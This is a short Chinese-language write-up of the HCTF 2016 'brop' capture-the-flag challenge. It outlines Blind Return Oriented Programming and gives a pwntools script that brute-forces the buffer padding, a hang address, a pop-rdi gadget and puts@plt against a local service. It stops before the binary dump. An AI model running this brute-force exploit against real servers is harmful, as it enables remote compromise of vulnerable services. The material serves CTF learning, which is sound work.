pwn | hctf2016 brop
为了我自己复现的时候整理的方便..都放到wp一栏了…
wooyun有一篇drops, 写得很详细, emmmmmo
叫做: Blind Return Oriented Programming (BROP) Attack - 攻击原理
先测一下看起来不是格式化字符串(复现的时候可以通过看代码0.0)
然后测试padding大小
找到一个hang_addr, 使得程序能回到原来的地方, 接受多次输出
然后找到一个puts, 把程序dump出来, 这道题目是64位的…所以还要有一个pop rdi; ret
来传参
然后就和一般的题目一样了
这道题目没有canary..如果有的话还要爆破..
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','sh','-c']
p = ''
def gd(a=''):
gdb.attach(p, a)
if a == '':
raw_input()
def test_padding():
for i in range(100):
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline('A' * i)
try:
p.recvuntil('No password, no game')
except:
print "[*] padding is ", i
break
p.close()
def find_hang_addr():
for i in range(0x1000):
# addr = 0x08048000 + i
addr = 0x400000 + i
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline('A' * 72 + p64(addr))
try:
p.recvuntil('WelCome my friend,Do you know password?')
print "[*] hang addr is ", hex(addr)
break
except:
pass
p.close()
return addr
hang_addr = find_hang_addr()
# 我们需要puts来dump程序, 所以我们需要一个`pop rdi, ret`
# 我们找到那个`pop r15, ret`, 往后偏移一个字节就是`pop rdi, ret`
# 这个gadget是
#
# pop rbx;
# pop rbp;
# pop r12;
# pop r13;
# pop r14;
# pop r15;
# ret
#
# 验证的时候我们就用这个验证, 满足下面的条件说明就是OK的
# payload1 = 'A' * 72 + p64(addr - 1) + p64(0) + p64(ret)
# payload1 = 'A' * 72 + p64(addr) + p64(0) + p64(ret)
# payload1 = 'A' * 72 + p64(addr + 1) + p64(ret)
def find_rdi_ret(hang_addr):
for i in range(0x1000):
addr = 0x400000 + i
p = remote('127.0.0.1', 10001)
p.recvline()
payload = 'A' + p64(addr) + p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6) + p64(hang_addr)
p.sendline(payload)
try:
p.recvuntil('WelCome my friend,Do you know password?')
print "[*] pop_pop_...._ret addr is ", hex(addr)
break
except:
pass
p.close()
# 得到`gadget`地址, 加上8得到`pop rdi; ret`地址, 带到上面三条里验证一下, 就OK
def find_puts_plt(pop_rdi_ret):
for i in range(0x1000):
addr = 0x400000 + i
p = remote('127.0.0.1', 10001)
p.recvline()
payload = 'A' + p64(pop_rdi_ret) + p64(0x400000) + p64(addr)
p.sendline(payload)
try:
p.recvuntil('ELF')
print "[*] puts@plt is ", hex(addr)
break
except:
pass
p.close()
然后dump程序后面不写了